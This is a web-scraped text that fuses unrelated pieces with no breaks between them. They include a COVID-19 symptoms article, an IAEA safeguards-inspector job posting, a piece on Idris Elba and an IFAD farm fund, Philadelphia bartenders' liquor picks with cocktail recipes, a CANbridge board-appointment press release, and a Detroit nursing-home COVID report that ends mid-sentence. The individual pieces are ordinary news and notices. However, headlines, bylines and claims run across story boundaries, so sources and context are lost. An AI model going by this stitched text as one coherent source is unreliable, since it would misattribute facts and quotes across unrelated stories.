Reveals People With Positive Antibody Tests May Still Contract Coronavirus Oxley told CNN, "Our report shows a seven-fold increase in incidence of sudden stroke in young patients during the past two weeks," and added, "Most of these patients have no past medical history and were at home with either mild symptoms (or in two cases, no symptoms) of COVID." Dr. Esther Freeman, a dermatologist at Massachusetts General Hospital spoke with NBC stating that there is an unusual skin issue called "COVID toes" associated with the virus. "Purple lesions" could suddenly appear either on patients' feet or hands. She has a theory that should be tested, because "COVID toes" may appear with or without the other symptoms associated with the virus. "One hypothesis is there's just a lot of inflammation caused by the virus," she said. The other theory is that it could be the result of blood vessel clots, she said, though she noted that she didn't "feel comfortable saying it's one or the other." As the virus continues to evolve so should our understanding of it. Given that the virus has now over 30 strains and more symptoms, it's prudent to know more about the coronavirus to be one step closer to finding the cure. We have already discussed in length about topics regarding the novel coronavirus and its effects around the globe. If you'd like to know more about it, the link is available here. Read More: Anti-Coronavirus: Could This Inflatable Plastic Bubble Shield Become the New Norm? 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Bacon isnt just for breakfast anymore. Heres a sampling of restaurants throughout the region where you can dig into some sinfully delicious strips of bacon from breakfast right through to lunch, dinner and even dessert. Lock 29 with Rebel Hill... Nuclear Safeguards Inspector, Vienna, Austria Organization: International Atomic Energy Agency (IAEA) Country: Austria City: Vienna, Austria Office: IAEA Vienna, Austria Grade: P-3 Closing date: Thursday, 30 April 2020 Nuclear Safeguards Inspector (P3) Multiple Positions ( 2020/0186 (009065) ) Organization: SGOA-Section OA1 Primary Location: Austria-Vienna-Vienna-IAEA Headquarters Job Posting: 2020-03-10, 9:19:52 AM Contract Type : Fixed Term Regular Probation Period : 1 Year Multiple positions based in different duty stations and for the following divisions: Division of Operations A, Division of Operations B, Division of Operations C and Office of Safeguards Verification in Iran Organizational Setting The Department of Safeguards (SG) is the organizational hub for the implementation of IAEA safeguards. The IAEA implements nuclear verification activities for over 180 States in accordance with their safeguards agreements. The main objective of the Department is to maintain and further develop an effective and efficient verification system in order to draw independent, impartial and timely safeguards conclusions, thus providing credible assurances to the international community that States are in compliance with their safeguards obligations. Safeguards activities are undertaken within a dynamic and technically challenging environment including advanced nuclear fuel cycle facilities and complemented by the political and cultural diversity of the countries. The Department of Safeguards consists of six Divisions: three Operations Divisions for the implementation of verification activities around the world; three Technical Divisions (Division of Concepts and Planning, Division of Information Management, and Division of Technical and Scientific Services); and three Offices (the Office for Verification in Iran, the Office of Safeguards Analytical Services and the Office of Information and Communication Services). The primary focus of each Division of Operations, and the Office for Verification in Iran, is to perform and document safeguards verification activities and to conduct analysis and evaluations aimed at providing assurances that States comply with their nuclear safeguards commitments. The Divisions / Office implement a broad range of measures, including information analysis and in-field verification, to draw soundly based safeguards conclusions for States. Main Purpose The Nuclear Safeguards Inspector P3 will be assigned to one of the Divisions of Operations or the Office for Verification in Iran and, under the supervision of a Section Head and a Senior Inspector, will participate in the implementation of the IAEAs safeguards activities and, subject to the approval of the Board of Governors, function as a safeguards inspector. Role The role of the Nuclear Safeguards Inspector (P3) is primarily an in-field verification expert performing safeguards verification activities in conformity with safeguards agreements. The incumbent will prepare for, perform, document and report on the results of these activities. This includes the analysis of data and information collected from various sources (such as State declarations and reports, inspections, results of verification of information related to the design of nuclear facilities and complementary access, nuclear material accountancy, containment and surveillance systems, satellite imagery, open source and results of non-destructive assay and environmental sampling). The incumbent will thereby provide the IAEA with objective findings for assuring the international community that States are fulfilling their safeguards obligations. The incumbent will also assume the responsibilities of being a facility/site officer or country officer after appropriate training and mentoring, and in this role will work collaboratively with analysts, technicians and other staff across the Department. The Nuclear Safeguards Inspector works independently and proactively in varied environments with different groups of people, showing organizational skills, flexibility, resilience and strong interpersonal skills. Functions / Key Results Expected The Nuclear Safeguards Inspector (P3) carries out verification and analytical work as part of safeguards activities and inspections at nuclear facilities, other locations with nuclear material and where nuclear related research and development is performed, in order to confirm the absence of undeclared nuclear material or activities, undeclared production / processing or diversion of nuclear material. The Nuclear Safeguards Inspector (P3) in close collaboration with Nuclear Safeguards Inspector (P4) will have a strong focus on in-field activities including: Verify nuclear material accountancy, examine records and reports prepared by the facility operator and/or State or regional safeguards authorities. Verify material and activities with assessment of the scope and purpose of nuclear related activities at facilities or locations involved in the nuclear fuel cycle. Perform complementary access activities and collect nuclear material samples and environmental samples. Routinely service containment and surveillance equipment, calibrate and operate instruments for measuring nuclear material. Verify design information to confirm information provided by States. Assess the applicability of safeguards approaches. The Nuclear Safeguards Inspector (P3) will also carry out activities in Headquarters / Regional Offices: Plan and prepare for standard safeguards verification activities and complete inspection, design information review, complementary access reports and related statements with due regard to promptness, accuracy, completeness and quality of presentation. Evaluate inspection and other verification results and summarize information to be used as input for future inspections and activities. Review and evaluate Remote Data Transmission and surveillance information for nuclear sites and facilities (including seals, instruments and surveillance data). Evaluate data and information collected from various sources and review and analyse safeguards relevant information and report and follow-up on results in liaison with relevant intra-departmental partners. Analyse the consistency of declarations provided by the State and data collected through safeguards verification activities and take follow-up action where necessary. As a facility/site officer, establish and maintain technical information with regard to specific safeguards facilities/sites providing reports and updates as required; assist in the preparation/coordination of relevant subsidiary arrangements, facility attachments and safeguards approaches including the application of appropriate safeguards measures, as necessary, for the effective implementation of safeguards at the specified facilities/ other locations outside facilities (LOFs). As a country officer, collaboratively prepare/coordinate State evaluations to formulate conclusions, recommendations and draft reports for use by key safeguards groups and committees. The incumbent may perform their work in areas involving exposure to radioactive materials. Therefore, as an Occupationally Exposed Worker, they must be medically cleared by VIC Medical Service and is subject to an appropriate radiation and health monitoring programme, in accordance with the IAEAs Radiation Safety Regulations. Competencies and Expertise Core Competencies NameDefinition Planning and Organizing Plans and organizes their own work in support of achieving the team or Sections priorities. Takes into account potential changes and proposes contingency plans. Communication Communicates orally and in writing in a clear, concise and impartial manner. Takes time to listen to and understand the perspectives of others and proposes solutions. Achieving Results Takes initiative in defining realistic outputs and clarifying roles, responsibilities and expected results in the context of the Department/Divisions programme. Evaluates their results realistically, drawing conclusions from lessons learned. Teamwork Actively contributes to achieving team results. Supports team decisions. Functional Competencies NameDefinition Judgement/decision making Consults with supervisor/manager and takes decisions in full compliance with the Agencys regulations and rules. Makes decisions reflecting best practice and professional theories and standards. Resilience Maintains a high level of performance when facing pressure and uncertainty. Able to remain calm and self-controlled, and to respond logically and decisively in difficult situations. Technical/scientific credibility Ensures that work is in compliance with internationally accepted professional standards and scientific methods. Provides scientifically/technically accepted information that is credible and reliable. Required Expertise FunctionNameExpertise Description Administrative Support Data and Information Analysis and Reporting Demonstrated ability to observe and report concisely and accurately (both verbally and in writing) with proven experience in writing analytical reports in English. Safeguards Nuclear Fuel Cycle/Nuclear Facilities Demonstrable knowledge of the nuclear fuel cycle and associated facilities. Asset Expertise FunctionNameExpertise Description Safeguards Safeguards System, Basic Previous experience in the area of nuclear safeguards or in safeguards inspection at a national or international level or experience in other relatable verification work is an asset. Qualifications, Experience and Language skills University degree in Physics, Chemistry, Engineering or Information Analysis or International Relations with specialization in a field relevant to nuclear engineering or nuclear technology. Minimum of five years of relevant experience, preferably in the nuclear field. Practical field experience, experience in nuclear facilities or experience of verification activities are all highly desirable. Tags civil servants data analysis data transmission information management international relations nuclear facilities nuclear fuel cycle nuclear safeguards nuclear technology radiation protection radioactive materials research and development safety regulations Demonstrated experience in analytical work including data analysis, analytical reporting and information management. Excellent oral and written command of English. Knowledge of other official IAEA languages (Arabic, Chinese, French, Russian and Spanish) is an asset. Additional Information The majority of Nuclear Safeguards Inspector positions are based at headquarters located in Vienna, Austria. However candidates may be appointed to positions in a regional office (Tokyo or Toronto) and Nuclear Safeguards Inspectors may be reassigned to different locations and work a reas at any time based on programmatic need. Nuclear Safeguards Inspectors will receive mandatory training (Introductory Course on Agency Safeguards (ICAS) upon appointment. Successful completion of ICAS is a prerequisite for subsequent contract extensions. Working conditions require excellent health and physical abilities. Nuclear Safeguards Inspectors will need to work in a variety of local field conditions (sometimes involving extreme conditions, long hours, working at height or in a confined space and using protective clothing and equipment) and may be required to carry, set up and service cumbersome equipment. Nuclear Safeguards Inspectors may perform their work in areas involving exposure to radioactive materials. As radiation workers, they are subject to an appropriate monitoring programme in accordance with the IAEAs Radiation Protection Rules and Procedures. The work involves extensive travel and time away from duty station (potentially more than 100 days a year), including travel and work on weekends and IAEA holidays. A valid driving license is required. Nuclear Safeguards Inspectors are expected to demonstrate a cultural awareness and respectfulness to the customs of different countries. Remuneration The IAEA offers an attractive remuneration package including a tax-free annual net base salary starting at US $60962 (subject to mandatory deductions for pension contributions and health insurance), a variable post adjustment which currently amounts to US $ 25665*, dependency benefits, rental subsidy, education grant, relocation and repatriation expenses; 6 weeks annual vacation, home leave, pension plan and health insurance ------------------------------------------------------------------------------------------------------------------------------------------------------------ Applications from qualified women and candidates from developing countries are encouraged Applicants should be aware that IAEA staff members are international civil servants and may not accept instructions from any other authority. The IAEA is committed to applying the highest ethical standards in carrying out its mandate. As part of the United Nations common system, the IAEA subscribes to the following core ethical standards (or values): Integrity, Professionalism and Respect for diversity. Staff members may be assigned to any location. The IAEA retains the discretion not to make any appointment to this vacancy, to make an appointment at a lower grade or with a different contract type, or to make an appointment with a modified job description or for shorter duration than indicated above. Testing may be part of the recruitment process By Megan Rowling BARCELONA (Thomson Reuters Foundation) - British actor and filmmaker Idris Elba launched a new United Nations fund on Monday to help farmers in poorer nations, calling on richer economies to provide aid to prevent "needless hunger and suffering" stemming from the coronavirus pandemic. Elba and his wife, model and activist Sabrina Dhowre Elba, gave their support to a fund set up by the International Fund for Agricultural Development (IFAD), to help stop economic shocks caused by COVID-19 triggering a global food crisis. The couple, who were also designated on Monday as goodwill ambassadors for IFAD, contracted the virus themselves in March although reportedly only suffered mild symptoms. "The world's advanced economies are in the midst of this pandemic right now and, of course, they must do everything they can to help their own people," said Elba, 47, in a statement. "But the fact is, global action is also a matter of self-interest. As long as the pandemic is still raging anywhere, it will pose a threat everywhere," he added, urging donors to ramp up financial support to keep rural food systems operating. IFAD, a U.N. agency that promotes rural development, said it would put $40 million into the new fund to counter the effects of the pandemic on food production, market access and employment in developing countries. It also aims to raise at least $200 million more from governments, foundations and the private sector. In December Elba and his wife visited rural Sierra Leone, where IFAD provided financial services to communities hit by Ebola. Since the coronavirus began to spread in developing nations, IFAD has been finding ways to help rural families - many of them poor farmers - deal with the deadly disease's ripple effects. In eastern Senegal, where a curfew and market closures make it hard to sell produce or livestock, the agency is supporting cash transfers and subsidies via smartphones, and distributing seeds and fertilisers ahead of the planting season. Story continues In India's Odisha state, it has worked with local authorities to get watermelons transported to markets, avoiding the loss of 600 tonnes of fruit due to COVID-19 restrictions. IFAD President Gilbert F. Houngbo, who was raised in rural Togo, West Africa, said farmers were worried about losing their income during the pandemic as lockdown measures in many places could stop them selling crops and buying seeds and fertilisers. He warned if this happened, progress in the fight against poverty could be upended for the first time in three decades. "What we are talking about is the risk of a health crisis creating a food crisis," he told the Thomson Reuters Foundation. "(But) I think we have to go even beyond the risk of food insecurity and look at it as we, as a global community, going backwards in the fight against poverty." (Reporting by Megan Rowling @meganrowling; editing by Belinda Goldsmith. Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers the lives of people around the world who struggle to live freely or fairly. Visit http://news.trust.org/climate) Remember going to the bar? Ponying up to a slab of polished marble or worn-down wood and ordering a cocktail, talking to your next-stool neighbor, exchanging pleasantries with the bartender? Thats still out of reach. However, you can buy booze again in Pennsylvania, now that nearly all of its state-run liquor stores have reopened for curbside pickup. Call your state store to place an order (credit card payments only). We asked Philly bartenders which six bottles the daily order limit theyd pick from the Pennsylvania Liquor Control Board catalog and how theyd enjoy them. Here are their answers: Bonnie Garbinski Garbinski has been at American Sardine Bar since it opened in 2011. Shes been there again now that the Point Breeze staple is back open for takeout Wednesday through Sunday, but her pandemic activities are plenty. Aside from taking on some home improvement projects including installing dining room shelves for her mezcal collection shes also been rewatching The Wire, playing rummy, cooking, and sleeping more than she has in quite a while. Cynar: A delicious low-ABV amaro, perfect for mixing. Sub it for Fernet or vermouth in many cocktail recipes. Its great in a Manhattan. Dolin Rouge: The house sweet vermouth at many places. Rittenhouse Rye: A great overproof rye that works in cocktails or on its own. The Botanist Gin: Its a pricier gin, but well worth it. The botanical blend is unique and complex, and its a beautiful bottle. Makes a great G&T or dry martini. Illegal Mezcal Joven: Subtle sweetness, earthy and roasty with some honey on the finish. Perfect to sip alone or in a paloma or mezcal old fashioned. Espolon Blanco: For shots, margaritas, palomas, and all the drinks. Ive been drinking it mixed with the Kalaya Pineapple soda. Juan Bustamante Before the pandemic, Bustamante had been lead bartender at Jean-Georges Sky High cocktail lounge. At the moment, Im just lead bartender at home, he says. Like many coronavirus shut-ins, this part-time DJ has been baking bread, cooking and eating a ton, getting fat, and listening to old vinyls. Wigle Ginever Dry Gin, Campari, and Carpano Antica: This combo makes a great negroni, widely known to be equal parts gin, Campari, and sweet vermouth. For a twist, add ounce of Cynar or a spoonful of mezcal. The Wigle gin has a nice maltiness to it. Lillet blanc and Stateside vodka: Combine these two with Wigle (or any) gin to make a Vesper cocktail. I add more Lillet than usual: 1 to 1 ounces of gin, ounce vodka, 1 ounce Lillet, stir with ice, pour in coupe, add a lemon twist. La Marca prosecco: Im not to picky about this brand its just a decent sparkling wine for a cocktail I learned in Florence that I put a twist on: In a wide-mouthed wine glass, combine ounce Campari, ounce Carpano, and ounce Cynar. Add ice, a slice of cucumber and orange. Top with prosecco and stir slightly. Resa Mueller One of the partners behind the Filipino lunch stand Lalo, in the Bourse, Mueller was recently bartending at Fishtowns R&D and Pizzeria Beddia. Since the pandemic, shes been chugging unhealthy amounts of coffee and channeling her energy into deep-cleaning her house, working out, and reading mostly books about booze and drinking booze. Each of her picks, she notes, is excellent in shot form, which is her favorite way of drinking them. Wray and Nephew overproof rum: Rum is one of my favorite spirit categories, and I love reaching for high-proof/overproof spirits for cocktailing, as theyre able to stand up to all the extra things that will be added in. My home go-to with this is a classic daiquiri: rum, lime, simple syrup (or sugar if youre really lazy). Wray also forms a great base for bitters and tinctures; it adds a bit of extra flavor. Beefeater gin: A great gin cost-effective and an excellent example of a classic London dry style. My at-home go-to with this is a classic gin rickey: a highball of gin and club soda over ice, with half a lime squeezed in (drop the lime husk in, too). Olmeca Altos Plata tequila: Really lovely and nuanced and, equally if not more important, made in a way that respects the agave. Ill gladly sip this baby neat, on the rocks, or next to a cold Tecate. I usually dont do much cocktailing at home with tequila, if only because it never lasts long enough. Its great as a rickey, too. Green Chartreuse: A little on the pricey side, but well worth it to sip neat or swap in for dry vermouth in a martini or the sweetener in a spicy rye old fashioned. Its pleasantly sweet and immensely complex, and its got hundreds of years of history behind it! Becherovka: This one is a bit tricky; its often out of stock. When I can get it, though, its one of my absolute favorites. A Czech herbal liqueur, its got awesome notes of spicy cinnamon. Think of it as a really dry, spicy Fireball. Sip it neat after dinner as a digestif, or use it to modify an old fashioned or a daiquiri. Rumple Minze: Go ahead and judge me. Its delicious. Keep it in the freezer, shoot it, and revel in all its pepperminty glory. Paul MacDonald MacDonald, head bartender at Friday Saturday Sunday, has been cooking and drinking at home during the pandemic; a recent Instagram post included a pairing of oloroso sherry and potato chips. Beefeater gin: One of the most underrated bottles on the shelf. Old Grand-Dad Bonded Bourbon: Another of the most underrated products. Uses a relatively high proportion of rye in its mash bill which lends it an assertive, spicy profile that works well in cocktails or straight. Just make sure to get the bottled-in-bond, because the 80 proof just doesnt hit that sweet spot. Cynar: A very versatile amaro which can fill in for Campari or Aperol in an aperitivo (a negroni or spritz, for example), or be taken straight as a digestivo. Dolin blanc vermouth: Light, sweet, floral, and delicious. Mixes well in clear or dark spirits with or without citrus. Blanc vermouth is sweeter than dry, and lacks the bitterness of most red vermouths. Also delicious by itself on ice with a simple twist of lemon peel. Refrigerate after opening. Tio Pepe fino sherry: Those who frequent my bar know how much I love sherry. This fino is sharp and bracingly dry delicious chilled, especially during the warmer months and as an accompaniment to shrimp cocktail or oysters. It also mixes well either as a low-alcohol base or as a substitute for dry vermouth in a martini and other cocktails. Fernando di Castilla oloroso sherry: Ive tried to give you good bargains for the first five items here, but I have to throw in a splurge. This one is especially pricey for 500 milliliters, but it is worth every penny. Delicate flavors of toffee, raisin, and toasted almond and a full-bodied texture make for an unbelievably delicious glass of sherry. Drink it with cheese and charcuterie or by itself. Finish or refrigerate within a week of opening. Miller Reed Reed may be familiar from Fairmount spots like McCrossens Tavern and Bar Hygge (also open for takeout). Hes been hosting Facebook Live cocktail classes during the pandemic to pad the virtual tip jar. Smith and Cross Jamaican rum: My preferred drink to for this is Fish House Punch, which is a Philadelphia original. Its also great in a Mai Thai or in a zombie. Del Maguey Single Village Vida mezcal: Im either drinking it straight in a champagne flute or subbing it as a base liquor in any number of classic drinks. Plymouth gin: Every bar should have a solid English gin. Makes a fantastic martini. Old Grand-Dad Bonded Bourbon: The essential partner to a homemade citywide. Pairs excellently with Miller High Life. Templeton rye: People love old fashioneds, sazeracs, and Manhattans, and this rye is in the middle of that venn diagram. Averna amaro: Great to sip on after dinner. Add some to Dr. Pepper with dash of Angostura bitters for a fantastic sessionable highball. Maureen Shannon Managing bartender at East Passyunks In The Valley, Shannon has been enjoying long walks (with a mask on), reading a John Waters biography, and sculpting mezcal sipping cups. Shes also been playing after-dinner board games: Turns out I kick ass at Scrabble, she says. Aperol: When the sun is shining and the trees are blossoming outside my front window, I want an Aperol spritz. I stocked up on blood oranges and add a little fresh juice to club soda for depth. Espolon Reposado: Go-to for margs, frozen drinks (avocado and tropical smoothie mix works great), or lets face it quarantine shots. Plantation five-year Barbados rum: I really loved aged rums and often sip them neat. Plantation is a staple at the stores, and is great in an old fashioned variation thats super-easy to make: Start with 2 ounces rum in a short glass, add 1 teaspoon honey and a few dashes of Fee Brothers Aztec Chocolate or Angostura bitters. Stir a bit, then add ice, and stir until cold. Finish with an expressed orange peel. Avinyo Cava Brut Reserva Pendes (NV): I love Cava. Avinyo uses the three classic grapes for Cava. Its dry and crisp, but has layers of citrus and subtle toasty notes, much like champagne. Chateau Graville Lacoste Graves Blanc: Ive sworn by this wine for years. Every vintage is solid, a great Bordeaux value. A blend of semillion, sauvignon blanc, and muscadelle, its aromatic and lush with florals and citrus, plus nice minerals. Great with light seafood or spicy dishes, and perfect for Indian food! Au Bon Climat Pinot Noir Santa Barbara County: The man behind these has been pioneering natural winemaking in California for decades. This pinot noir is full of dark fruits, herbs, and light touches of baking spice. Its got great acidity, with subtle but grippy tannins, so you can drink it on its own or pair with an array of foods. Brandon Thrash Thrash bartended at Vedge and Townsend between 2016 and 2018, and was recently behind the bar at Prohibition Taproom. Since the pandemic struck, hes been driving for Caviar, pushing city and state officials to legalize takeout and delivery cocktails, and starting more fermentation projects than he could hope to finish. Brenne French single-malt whiskey: Made from malted barley grown in France, this is a lighter expression than your typical single-malt Scotch. Its beautiful, floral, and perfect for a spring evening. Bluebird Distilling Sugarcane rum: Made similarly to sugarcane-distilled Rhum Agricole, this rum profiles with more floral and green notes than your typical molasses distilled rum. Its perfect in a classic daiquiri or a ti punch. Boyd & Blair vodka: One of my favorite vodkas anywhere, made from 100% Pennsylvania potatoes. Its got a creaminess and perceived sweetness only found in the highest-quality vodkas. Perfect for a classic martini or just a refreshing vodka and soda. Caledonia Spirits Barr Hill gin: This Vermont-based distiller sources locally and integrates local honey into their products. Each batch of gin is balanced with honey from their family farm. Its beautiful in citrus-based gin cocktails such as a bees knees or last word. Dads Hat rye whiskey four-year old: A high rye mash bill packs a punch in this locally produced whiskey, which supports Pennsylvania agriculture. The power in this 94-proof spirit makes for a great base in an old fashioned or Manhattan. But with a higher price point, maybe savor it on a single ice cube. Tres Agave tequila blanco: Although not exactly small-batch, Tres Agave is grown organically, gives back to their community, and is more affordable. Great for your margarita fix. Heather Rodkey Rodkey is director of operations for Sojourn Restaurant Group (Rex 1516, Jet Wine Bar, and Cafe Ynez). Shes kept busy by drawing birds, sewing slipcovers and masks, and attempting to grind the pittance of happy chemicals out of my brain with exercise. Her go-to drink is a Sidecar made with 50/50 whiskey and cognac, lemon juice, and bitters, topped with sparkling wine. Its not a traditional Sidecar, but its my house. Jack Daniels Old No. 7 Black Label Tennessee Whiskey: Ive been loyal to this brand long before I should have been drinking whiskey. The charcoal filtering makes it incredibly smooth, and I love the cedar, banana, caramel bouquet. Martell Cognac V.S.: There is no comfort like a glass of slightly warmed cognac in a big snifter, and it will never not feel regal. Angostura bitters: Why waste one of your slots on a bottle of bitters? Because it makes everything taste better: whiskey, gin, rum. Angostura is much more an aromatic to me, and the cinnamon / clove / pepper profile is like the A.S.M.R. of a crackling fire to my nose. Hendricks Gin Midsummer Solstice: No other gin combines astringent herbs and heady florals like this one. It lends itself so well to a good magical realism book. Weller Special Reserve Straight Bourbon: There is simply no better bang for your buck. Its Pappy Van Winkles younger brother. Mount Gay Black Barrel Rum: Mount Gay and tonic has been a favorite since one of my old regulars at Happy Rooster suggested it. Squeeze half a lime into that and its a tropical island without the sunburn. Michael Harkness Harkness, a bartender at Grace Tavern, has been making lots of chicken and chicken soup in quarantine, which he has spent mostly in the kitchen. There are a lot of great cooking programs on Hulu. Im not being paid to say that. They also have Seinfeld. Old Grand-Dad Bonded Bourbon: Straight, or in shaken or stirred cocktails. Espolon Blanco tequila: Buy lots of citrus at the store, make simple syrup, and youre set up for lots of important scientific research from the comfort of your own home. Tanqueray gin: A great all-around gin. Carpano Antica sweet vermouth: Manhattans, negronis, or just with seltzer. Campari: Mixes really well with all of the above. Tequila and soda? With all those limes? Boxed dry rose: For all around food pairing cheese, meat, fruit, scrambled eggs, there are no more rules. Cheers, brave scientists! BEIJING and SHANGHAI, April 28, 2020 /PRNewswire/ -- CANbridge Pharmaceuticals Inc., a biopharmaceutical company developing innovative drug candidates to treat underserved medical conditions in China and other markets, has appointed Richard J. Gregory, PhD to the position of Acting Chief Scientific Officer. Dr.Gregory will also join the CANbridge Board of Directors. Both positions are effective immediately. In addition, Lefei Sun, Managing Director and Head of Healthcare for China at General Atlantic, and Derek DiRocco, PhD, Principal, RA Capital Management, have recently joined the Board of Directors, bringing the total number of Board members to eleven. "Dr. Gregory brings to CANbridge a depth of industry experience in discovery and translational research, which along with his vision and pioneering work in developing global rare and orphan disease therapies, will deepen our C-level suite and set us up for success as we build our integrated R&D platforms and capabilities," said James Xue, PhD, Founder, Chairman and CEO, CANbridge Pharmaceuticals Inc.."CANbridge recently received Priority Review from China's National Medical Products Administration for its first rare disease candidate, Hunterase, and has a robust best-in-class pipeline entering into the clinical stage. Dr. Gregory will help us solidify and expand our leadership position as a China-focused global player. We are also pleased to welcome Rich, Lefei and Derek to the Board, where their respective areas of expertise will provide synergistic strengths as CANbridge moves forward." Dr. Gregory has a long and distinguished career in research and discovery and pharmaceutical industry leadership. Most recently, he was Executive VP and Chief Scientific Officer at ImmunoGen Inc., in Waltham, MA, where he was responsible for research leading to new antibody-based cancer therapeutics. Prior to joining ImmunoGen, Dr. Gregory was Head of the Sanofi-Genzyme R&D Center, in Cambridge, MA, where he oversaw R&D in rare diseases, multiple sclerosis, immune disorders and tissue protection/regenerative medicine. Before then, Dr. Gregory held a variety of positions at Genzyme Corporation, in Framingham, MA, including: Senior Vice President, Head of Research, where he was responsible for early R&D in all therapeutic areas at Genzyme and Vice President, Gene Therapy, where he directed programs in cancer immunotherapy, gene therapies for genetic diseases and cardiovascular gene therapy. Dr. Gregory started his professional career at Genzyme Corporation as a Research Scientist in Molecular Biology, where his group was the first to express the cystic fibrosis transmembrane conductance regulator (CFTR) and determine the molecular defect caused by the most common mutation of CFTR. Dr. Gregory has co-authored over 60 peer-reviewed publications and holds 23 patents in the area of biotechnology. He is a Fellow of the American Institute for Medical and Biological Engineering. Dr. Gregory holds a Bachelor of Science in Biochemistry, from Virginia Polytechnic Institute and State University (Virginia Tech), in Blacksburg, VA, and a PhD in Biochemistry, from the University of Massachusetts, in Amherst, MA. Lefei Sun is Managing Director and Head of Healthcare for China at General Atlantic, a leading global growth equity firm, where he is responsible for sourcing and leading investments in the Healthcare and Life Sciences space across the region. Lefei serves as a Director on the Boards of Hong Kong Asia Medical Holding Limited, Adagene INC., and Ocumension Therapeutics. Before joining General Atlantic in 2018, Lefei was the Founding Partner of HuaTai Healthcare Investment Fund and played instrumental roles in the firm's investments in Shenzhen Mindray Medical, a company listed on Shenzhen Stock Exchange (stock code: 300760), and Shanghai MicroPort CardioFlow Medtech, where he previously served as a Board Observer. Prior to that, Lefei was the China healthcare equity analyst at Credit Suisse and one of the founding team members of OrbiMed Asia. Lefei received a Bachelor of Science in Mathematics and Physics from Tsinghua University in Beijing, China, and a Master of Arts in Neuroscience from the Johns Hopkins University School of Medicine in Baltimore, MD. Derek DiRocco, PhD, is a Principal on the Investment Team at RA Capital Management, working in both public and private investments. Previously, Derek covered solid tumor oncology competitive landscapes. He also serves as a Director on the Boards of Achilles Therapeutics Limited, 89Bio Inc. and iTeos Therapeutics. He serves as a Board Observer at Xenikos B.V., SutroVax Inc., and Frontier Medicines, and was also a former Board Observer at Peloton Therapeutics, which was acquired by Merck. Derek holds a Bachelor of Arts in Biology from Holy Cross College, in Worcester, MA, and a Doctorate in Pharmacology from the University of Washington, in Seattle, WA. He conducted his postdoctoral research at Brigham and Women's Hospital/Harvard Medical School, in Boston, MA, where he researched the role of the Wnt signaling pathway in mouse models of kidney disease, and was part of the team that discovered the stem cell subtype responsible for solid organ fibrosis. About CANbridge Pharmaceuticals Inc. CANbridge Pharmaceuticals Inc. is a China-focused biopharmaceutical company accelerating development and commercialization of specialty healthcare products for orphan diseases and targeted cancers, focusing on products that are unavailable or address medical needs that are underserved in the region. CANbridge has been recognized as a leader in orphan diseases in China. It has a global partnership with WuXi Biologics to develop and commercialize proprietary therapeutics for the treatment of rare genetic diseases. In greater China, it has an exclusive licensing agreement to commercialize Hunterase, an enzyme replacement therapy for the treatment of Hunter syndrome, developed by GC Pharma and marketed in more than ten countries worldwide. CANbridge also has an oncology portfolio, which includes exclusive rights to develop and commercialize Puma Biotechnology's NERLYNX (neratinib), in greater China, as well as rights to other novel candidates. For more on CANbridge Pharmaceuticals Inc., please go to www.canbridgepharma.com. Contact: CANbridge Pharmaceuticals Inc. James Xue CEO +8610.8414.8018 781.995.0074 Media Deanne Eagle Planet Communications [email protected] 917.837.5866 SOURCE CANbridge Pharmaceuticals Inc. Related Links http://www.canbridgepharma.com At a news conference Monday afternoon Chief Health Officer of the Detroit Health Department Denise Fair reported that 947 residents of the city have died so far in the COVID-19 pandemic. She also reported that 200 residents along with three nursing home workers had died in the citys 26 nursing homes. While all residents in Detroits 26 nursing homes were tested by city EMS workers over the past ten days, only 100 staff have been tested. Fair estimated that there are between 100 and 200 staff employed at each nursing home, meaning thousands of staff remain untested. Newly released data from the Michigan Department of Health and Human Services (MDHHS) shows a total of 2,637 confirmed cases of COVID-19 among nursing home residents throughout the state. Although the data does not include the number who have died in these facilities, there are 488 Michigan nursing homes with 425 of them reporting cases so far or 87 percent of the total. The data includes a breakdown of the number of facilities in each county along with a separate list of the names of each nursing home. There are 85 nursing homes in Wayne County, where Detroit is located, the largest number of facilities in any county. The total number of confirmed cases in Wayne County is 864 and, with 57 of the nursing homes reporting infections, the rate of infection is among the greatest in the state at 15 on average per location. The three counties in the Detroit metropolitan area, Oakland, Macomb and Wayne, combined have 70 percent of the total confirmed coronavirus cases at long-term care facilities in the state. Four of the homes among the list of highest rates of infection in Michigan are run by Villa Healthcare, a Skokie, Illinois-based for-profit nursing home chain with a total of 16 facilities in Michigan. There are 200 cases of coronavirus across twelve of the Villa nursing homes in lower Michigan. According to a report from Democratic Mayor Mike Duggan all 26 nursing homes have cases of COVID-19. In one location, Duggan reported that half of the residents had tested positive. Meanwhile, of all the health care workers and residents who initially tested positive for COVID-19, half of them showed no symptoms of the disease. Duggan said the city would be testing all nursing home staff as a part of a plan to partner with employers at grocery stores and other Detroit businesses to sign on to his six-point plan to get all city workers back on the job as part of the effort to reopen the economy while the pandemic continues to rage. The Duggan plan is wholly inadequate for guaranteeing workers will be safe. It consists of initial testing that will only clear people to go back to work while relying on masks, daily temperature checks, extra cleaning, self-reporting of exposure by employees themselves, extra stockpiles of protective equipment and social distancing in the work place. Duggan also offered his services to automakers and the UAW to help their negotiations to get the plants back open. He again said his program should be an example to get the whole country back to work. Duggans six-point plan is especially useless for nursing home workers who must interact one-on-one with sick and elderly patients. As one care worker explained to the World Socialist Web Site , she usually spends, 12 hours on her workdays in enclosed rooms with her patients in elderly congregate residences. She has called off work sick, frightened now that her cold is not just a cold, after learning that one of her co-workers who interacts with the same patient has tested positive for COVID-19. She said, There is no way to social distance. Her biggest fear is that You can have the virus and pass it on even without symptoms. Duggan says that besides the 2000 residents in nursing homes, the city has 100 congregate facilities that house people over 55, or clients of adult foster care homes, and similar buildings. The residents of these buildings are only now being tested while certified nurse assistants (CNA) and other caregivers working in these facilities must travel from place to place to care for elderly there and at single-family residences. Earlier this month, James House, a 40-year-old Michigan nurse working at the Omni Continuing Care nursing home on Conner Avenue in Detroit died from an illness without being tested for the coronavirus. His sister Catrisha House-Phelps told the Detroit Free Press that he died from symptoms consistent with COVID-19. House-Phelps told reporters her brother had been turned away from a COVID-19 drive-up testing site in March. He was told to go home and wait it out for seven days. On April 7, the father of five left his Warren home just north of Detroit and returned to work at Omni. After collapsing at work, James was rushed to the hospital and within hours had passed away. MDHSS reports that there are confirmed cases of COVID-19 among the residents at the care facility where James House worked. Like many other states, news reports indicate that COVID-19 has been raging through nursing homes in Michigan for some time. In early April, the state began investigating a suburban Riverview, Michigan nursing home where seven residents died. They found that 21 residents tested positive, along with 15 of the workers at the Rivergate Terrace Nursing Home. Rivergate is owned by the same company, Life Care Centers of America, that operates the Life Care Center of Kirkland, in Washington state where the first cluster of COVID-19 